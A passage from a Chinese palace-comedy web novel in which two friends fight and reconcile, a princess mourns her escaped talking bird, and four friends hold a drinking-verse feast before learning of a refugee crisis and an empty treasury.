沈妤也有点火了:“难道不对吗?思蕴性子软,明曜心思单纯,跟她们待在一起轻松,跟你待在一起,不是要被你揍,就是要被你冷脸,我能不费劲吗?”
“那你就别跟我待在一起啊!”
“你、你!我不想跟你吵!你干嘛每次都挑事!”
“我挑事?是你先放水的!”
“我放水是怕伤着你!”
“谁要你怕!”
两人越吵越凶,林双双气得满脸通红,沈妤也憋了一肚子火。
吵到激烈处,林双双一跺脚,指着门口:“你出去!”
“这是我家!”沈妤瞪大眼睛。
“那我出去!”林双双转身就要走。
沈妤一把拽住她:“大半夜的你往哪儿去?”
“我回家去,反正你也不欢迎我!!”
两人拉扯间,林双双不知怎的就动了手,忽然一拳捶在沈妤肩膀上。
沈妤吃痛,下意识还了一掌。
林双双更怒了,抬腿就踹。
于是两人就这么打起来了。
房间里噼里啪啦一阵响,凳子倒了,花瓶碎了,枕头飞了,被子也扯到了地上。
怪鸟蹲在院外的树枝上,听着屋内的动静,时不时模仿着两人的语气,含糊不清地喊:“不合适!”“小瞧我!”“你出去!”
喊了几声,见屋内没人理它,又觉得无趣起来。
打了一阵,两人都累了,各自瘫在床的两头,气喘吁吁。
沈妤脸上挂了彩,嘴角破了一块,林双双也好不到哪儿去,头发、领口全被扯散了。
两人谁也不看谁,就这么干坐着。
过了好一会儿,林双双小声嘟囔了一句:“你嘴角流血了。”
沈妤摸了摸嘴角,嘶了一声:“你下手真狠。”
“你先动手的。”
“你先动的。”
“……”
又沉默了一会儿。
林双双从袖子里掏出一块帕子,扔过去:“擦擦。”
沈妤接住帕子,胡乱擦了两下,忽然笑了一声。
“笑什么?”林双双瞪她。
“笑你啊。”沈妤偏头看她:“每次都这样,吵完打完就后悔,下次还犯。”
“谁说我后悔了?”林双双嘴硬,但声音明显软了下来。
沈妤也不好拆穿她,只是叹了口气:“行了行了,我错了还不好吗?下次不让你了,认真跟你打,把你揍趴下,你别哭就行。”
“我会哭
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?”林双双瞪她:“呵,你到时候可别跪地求饶!”
“哎呀,我现在就要跪地求饶,林女侠饶过小的吧!”
沈妤讨好的凑过去,拿帕子给她擦脸:“别气了,改天叫明曜出来,让她请客赔罪。”
“关明曜什么事?”
“她今天出风头,不得请客?”沈妤笑嘻嘻地说:“到时候咱们把思蕴也叫上,狠狠宰她一顿。”
林双双被她逗笑了,又板起脸:“思蕴可能不行,也不知道唐尚书怎么想的,这么多年了不想着管一下,这个年纪了,倒要她闭门读书,改掉好赌的毛病了。”
“哪有什么想不通的,虽然咱们几个在城里名声都不好,但思蕴这爱好最不好,唐尚书贵为户部之首,思蕴这样传到宫里,影响也是不好的,陛下没少数落呢.....”
“也是.....”林双双转念一想,觉得她说的有点道理。
“双双.....”见好友缓了脸色,沈妤试探着唤了一声。
“干嘛?”
“你刚刚笑了吧?”
“没有!”
“有!”
“没有!”
......
怪鸟在树枝上听着,觉得没意思了。
这两个人吵完了,不打了,也不学舌了,它缩了缩身子,把脑袋埋进翅膀里,迷迷糊糊睡了过去。
——
与此同时,皇宫。
昭荧拎着捕蝶网,在宫里找了一夜。
从御花园找到西六宫,从西六宫找到东六宫,连冷宫都翻了个遍,连根鸟毛都没看见。
侍卫们跟在她后面跑了一宿,个个累得腿软,可谁也不敢说歇。
如今听到飞出宫去了,都不好了。
这天大地大,一只鸟飞出去,上哪儿找去?
“王女……”侍卫长硬着头皮上前,犹豫再三后问:“要不……先回宫歇歇?属下们继续找——”
“找什么找?”昭荧有气无力地摆手:“飞都飞了,上哪儿找去?”
侍卫长不敢接话。
昭荧沉默了一会儿,忽然幽幽开口:“你说,它在外面能吃饱吗?”
“……啊?”
“它以前在我宫里,每天五顿,瓜子管够,隔三差五还有点心,现在飞出去了,谁喂它?万一饿着了怎么办?万一被野猫叼了怎么办?万一——”
她顿了顿,眼眶忽然有点红:“万一被人抓住炖了怎么办啊?!”
侍卫长嘴角抽了抽,硬着头皮安慰:“王女放心,那鸟……那鸟会说人话,应该……应该没那么容易被炖。”
“对哦。”昭荧愣了一下,随即又垮下脸:“可它会说人话才更危险啊!万一它飞到哪个大臣家里,张嘴就是‘退下吧’‘冤枉啊’,人家以为它知道了什么秘密,更得把它炖了灭口!”
侍卫长:“……”
这逻辑,她竟然无法反驳。
昭荧越想越难受,自责起来:“都怪我!我对不起它……它跟了我这么久,我连个名字都没给它取……”
侍卫长站在旁边,手足无措,想安慰又不知道该说什么,最后憋出一句:“王女节哀。”
“节什么哀?!”昭荧猛地抬头,红着眼瞪她:“它又没死!就是飞走了!”
“是是是,飞走了飞走了。”侍卫长连忙改口:“那……王女您先回去歇着,属下再带人去找找?”
昭荧张了张嘴,想说什么,又闭上了。
她弯腰捡起捕蝶网,拍了拍上面的泥,站起来,垂头丧气地往寝宫方向走。
走了几步,又回头:“找不着就算了……呜呜……我的鸟……”
侍卫长看着她蔫头耷脑抽泣着的背影,跟旁边的小侍卫对视一眼,齐齐叹了口气。
24. 聚餐
几日过去,昭荧总算从丢鸟的郁闷里缓过劲来。
主要是沈妤和林双双轮番来催,说要她请客庆功,宰她一顿狠的。
昭荧想想也是,重考证明清白这事,确实该摆一桌,为了一只鸟,还能连饭都不吃了吗?
于是选了个休沐日,在京城第一酒楼望仙楼摆宴。
她到的时候,沈妤和林双双已经先到了。
两人坐在窗边的位置,面前的桌上已经摆了好几道菜,筷子都没动,但酒已经开了。
“你们倒是等我来了再吃啊。”昭荧把外袍一脱,往椅子上一坐。
沈妤夹了一筷子酱牛肉塞进嘴里,含糊不清地说:“等你?等你黄花菜都凉了。”
林双双举着酒杯冲她晃了晃:“来晚了自罚三杯啊。”
“我又没晚,是你们来早了。”
昭荧嘴上说着,还是给自己倒了一杯,一口闷了。
三人正吃着,门被人推开。
一个穿着淡紫色衣裙的少年探进头来,面上有些局促:“我……我没来晚吧?”
“思蕴!”昭荧眼睛一亮:“快进来!”
唐思蕴这才走进来,反手把门关上,又仔细检查了一遍门栓,这才松了口气。
她走到桌边坐下,小声说:“我是偷溜出来的,母亲今日在府里会客,我趁她不注意从后门跑的。”
沈妤凑过去,压低声音:“唐尚书还关着你呢?”
“嗯。”唐思蕴点点头,神色有些黯然。
林双双嗤笑一声:“你也是,做什么不好,非要这么个爱好?”
“我……”唐思蕴低下头,不说话了。
昭荧见状,连忙打圆场:“今天不说这些,吃饭吃饭!”
她拍了拍手,候在外面的小二立刻推门进来,一道道珍馐美味流水般端上桌。
水晶肴肉、八宝鸭、清蒸鲈鱼、佛跳墙……摆了满满一桌。
沈妤眼睛都直了,食指大动:“那我就不客气了!”
林双双也不甘示弱,两人风卷残云般扫荡着桌上的菜肴。
昭荧摇摇头,给唐思蕴夹了块鱼肉:“别理她们,你多吃点。”
唐思蕴点点头,脸上终于露出一点笑意。
酒过三巡,气氛渐渐热络起来。
昭荧喝了口酒,叹了口气:“你们是不知道,现在宫学那些人看我的眼神更奇怪了。”
“怎么个奇怪法?”
昭荧想了想,形容道:“以前吧,他们看我是‘哎呀王女又捣乱了’的眼神,再嫌弃也就那样;
现在呢,是‘哎呀王女居然会读书’的眼神,震惊里带着怀疑……”
沈妤噗一声笑出来:“你管他们呢,反正你现在是‘才女王女’了,怕什么?”
“什么才女王女,你别乱叫。”
“怎么不是?”林双双放下筷子,一本正经地说:“你那天在大殿上说的那些话,太傅们都点头了,周尚书脸都绿了,那就是本事。”
昭荧被她说得有点不好意思,端起酒杯又喝了一口。
“说到这个——”沈妤忽然放下筷子,一脸惆怅:“我最近也烦着呢。”
“你烦什么?”
沈妤又给自己倒了杯酒,愁眉苦脸地说:“你们是不知道,我母亲最近天天逼我练武,说等我及笄了就把我扔军营去。”
“那不是挺好?”林双双挑眉:“你不是一直想当将军吗?”
“好什么好!”沈妤哀嚎:“军营里规矩多死了,哪有现在自在?”
林双双嗤笑一声:“我倒觉得你母亲做的没错,你那个三脚猫功夫,进军营练练也好。”
“你说谁三脚猫?”沈妤不服。
“说你呢,不服出去练练?”
“练就练,怕你啊?”
两人说着就要撸袖子,昭荧赶紧拦住:“停停停,吃饭呢,别动手。”
唐思蕴在旁边小声说:“阿妤,你母亲让你去从军,也是因为你将来要承家业的,总得有些军功傍身。”
“思蕴说得对。”昭荧点头,转而看向林双双:“双双,你呢?你最近怎么样?”
林双双叹了口气,难得露出几分苦恼:“我母亲最近不知道抽什么风,天天拉着我练拳脚。”
“你不是喜欢练武吗?”
“喜欢是喜欢,可她那个打法,谁受得了?”
林双双一脸苦相:“每次都说‘来,跟母亲过两招’,然后把我揍得鼻青脸肿,还说我太弱了,丢她的脸。”
昭荧差点笑出声,硬生生憋住了。
“她一个禁军副统领,在京城也是有头有脸的人物,干嘛总跟我过不去啊?”
林双双越说越气:“我是她生的没错吧?但她打我从来不留手,上回一脚把我踹飞三丈远,我在床上躺了三天!”
“三丈?”沈妤来了精神:“那你轻功不错啊,飞那么远都没摔坏。”
林双双作势要挥拳,沈妤赶紧给嘴巴拉了链子。
昭荧终于没忍住,笑出了声。
唐思蕴也跟着笑,笑着笑着,自己叹了口气。
“你呢思蕴?”昭荧问她。
唐思蕴低下头,摆弄着手里的酒杯:“我还不是老样子,被关在家里读书,哪都不能去。”
“你母亲也太严厉了。”沈妤说。
但唐思蕴爱赌这事儿,确实不太好,户部尚书的女儿,传出去不好听,陛下也说过几次。
“那你最近还赌吗?”昭荧犹豫了一会问。
唐思蕴摇头:“不赌了,真的不赌了。”
气氛正有些沉闷,就在这时,隔壁雅间传来一阵吟诗作对的声音。
沈妤听得兴起,转头看向昭荧:“哎,明曜,你也来几句?”
昭荧一愣:“我?我不会啊。”
“怎么不会?”林双双也来了兴致:“你宫学重考时那劝农之策,说得头头是道,作几句诗算什么?”
“就是!”沈妤附和:“思蕴当时没在场,没看见你那神气模样,今天正好让她见识见识!”
“我真不会作诗!你们又不是不知道我什么水平,让我背两首还行,让我作?那不是为难我吗?”
“谦虚什么?”沈妤不依不饶:“你劝农之策都说那么好,作首诗还不是手到擒来?”
“那能一样吗?”昭荧急了:“策论是策论,诗是诗,我连平仄都分不清楚!”
“那就作打油诗!”林双双笑道:“反正我们也不会,你随便来两句,热闹热闹就行。”
昭荧被她们架在火上烤,脸都红了,正不知道怎么办才好,忽然灵机一动。
“要不咱们行酒令吧!”
“行酒令?”
“对!”昭荧一拍桌子:“每人按规矩作诗,输了的罚酒,谁也别想跑!”
沈妤和林双双对视一眼,齐声说好。
唐思蕴也点点头,嘴角微微弯了弯。
昭荧心里那个美啊,这下好了,要出丑大家一起出丑,谁也别想看她一个人的笑话。
“我先来!”沈妤自告奋勇,端着酒杯站起来,装模作样地清了清嗓子,吟道:
“望仙楼上酒飘香,我与姐妹坐一堂。管它明日啥模样,今朝有酒今朝爽。”
“好!”林双双拍手叫好,笑得前仰后合。
昭荧也笑,这诗的水平,跟她半斤八两。
“该我了该我了!”林双双抢过话头,站起来想了想,张口就来:
“酒碗一端气势雌,三杯下肚脸发红。谁要跟我比拳脚,保管叫他路不通。”
“你这什么乱七八糟的!”沈妤不乐意了。
“怎么乱七八糟了?押韵着呢!”
两人吵吵闹闹,昭荧笑得肚子疼,轮到她时,她站起来,想了想,清了清嗓子:
“宫学读书大半年,太傅见我总瞪眼。如今考了个丙上,走路都能抬着脸。”
“好!”沈妤和林双双齐声叫好,举杯就喝。
轮到唐思蕴。
她站起来,端起酒杯,略一沉吟,出口成章:
“高楼邀友醉,笑语满堂飞。不问功名事,只言今日归。”
雅间里安静了一瞬。
“哇!思蕴你真偷学!罚酒!”三人异口同声。
唐思蕴有些不好意思,小声说:“我就是随便作的……”
“随便作的都这么好,你要是认真作还得了?”昭荧笑着给她倒了杯酒:“来来来,喝一杯。”
几人轮了几圈,酒越喝越多,诗越作越离谱。
沈妤后来又作了一首:“今日高兴喝一场,谁要拦我我跟谁犟。酒肉朋友也是友,喝到天亮不下楼。”
林双双随后接上:“喝酒就得大碗倒,小家子气真没招。别跟我
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说什么雅,武人喝酒就是豪。”
“你这叫诗吗?”沈妤笑骂。
“怎么不叫?比你的押韵!”
昭荧笑得趴在桌上,好不容易才止住,又轮到她,她端起酒杯,想了想,忽然正经了几分:
“从前人说我不行,今日我也有姓名。别问怎么做到的,熬夜背书到天明。”
说完自己先笑了,仰头把酒灌下去。
沈妤拍着桌子叫好,林双双也跟着起哄。
唐思蕴在旁边看着她们闹,嘴角一直弯着,眼底却闪过一丝不易察觉的落寞。
酒过三巡,沈妤彻底喝大了。
她瘫在桌案上,嘴里还嘟囔着:“再来一杯……我还能喝……”
林双双推了推她,没推动,又推了推,还是没动。
“得,喝死了。”
她站起来,把沈妤的胳膊搭在自己肩上,费力地把人架起来。
“我先送她回去,你们俩小心点。”林双双看向昭荧和唐思蕴。
“知道了。”昭荧点头。
雅间门关上,屋里只剩下昭荧和唐思蕴两人。
桌上的菜肴已经凉了,酒壶也空了。
唐思蕴看着昭荧,欲言又止。
“怎么了?”昭荧问。
唐思蕴咬了咬嘴唇,小声说:“明曜……你能不能送我回去?”
昭荧一愣:“你自己不能回去吗?”
“我是偷跑出来的……”唐思蕴低下头:“若是被母亲发现我一个人在外面,一定会再也不准我出门了。”
昭荧看着她那副可怜兮兮的样子,心一软:“好,我送你。”
两人结了账,走出望仙楼。
暮色四合,街上的行人少了许多。
昭荧和唐思蕴并肩走在石板路上,步子不快不慢。
“最近怎么样?”昭荧随口问。
“就那样吧。”唐思蕴低着头,看着自己的脚尖:“天天被关在家里读书,都快闷出病了。”
“你母亲也是为了你好。”
“我知道。”唐思蕴沉默了一会儿,忽然说:“可是明曜,我真的不赌了。”
昭荧转头看她,唐思蕴的侧脸在暮色里显得有些苍白。
“我知道你不赌了。”昭荧说。
“你信我?”唐思蕴苦笑了一下:“可她们都不信。”
昭荧不知道该怎么接话。
唐思蕴也没再说什么,两人沉默着走了一段路。
“明曜。”唐思蕴忽然开口。
“嗯?”
“你知道江南流民的事吗?”
昭荧脚步一顿。
流民?
她想起前几日听姨母和母王说话,似乎提过一句,但当时她没在意。
“很严重吗?”她问。
唐思蕴点点头:“听说已经聚集了数万人,每日还在增加,地方官束手无策,再拖下去,怕是要出乱子。”
“宰相裴文渊递了赈灾奏折,请求朝廷拨款赈灾,可是……”
“可是什么?”
“户部国库空虚,没有多余的钱。”
昭荧脚步彻底停住了。
她看着唐思蕴,脑子飞快转动:“国库怎么会没钱?”
唐思蕴摇摇头:“我也不太懂这些,只是听我母亲念叨,说这几年各地灾情不断,赋税收不上来,支出又大,国库早就入不敷出了。”
“那赈灾的事怎么办?”
“暂时搁置了。”唐思蕴叹了口气:“我母亲说,宰相那边催得紧,可户部实在拿不出钱来......”
昭荧沉默了一会儿。
她忽然想起宫学重考时,自己说的那些劝农之策。
兴水利、轻赋税、教农法、储粮食……
当时说得头头是道,可现在想想,若是没有钱,这些哪一条能落到实处?
两人走到唐府后门。
唐思蕴停下脚步,回头看着昭荧:“明曜,今天谢谢你。”
昭荧笑了笑:“客气什么,快进去吧,别被你母亲发现了。”
唐思蕴点点头,推开后门,闪身进去。
看着门关上后,昭荧心里有点不得劲。
当一个国家的君主不容易,当一个贤明的君主更不容易。
就眼下的事情来说,此等压力,也难怪姨母和母王总想撂担子!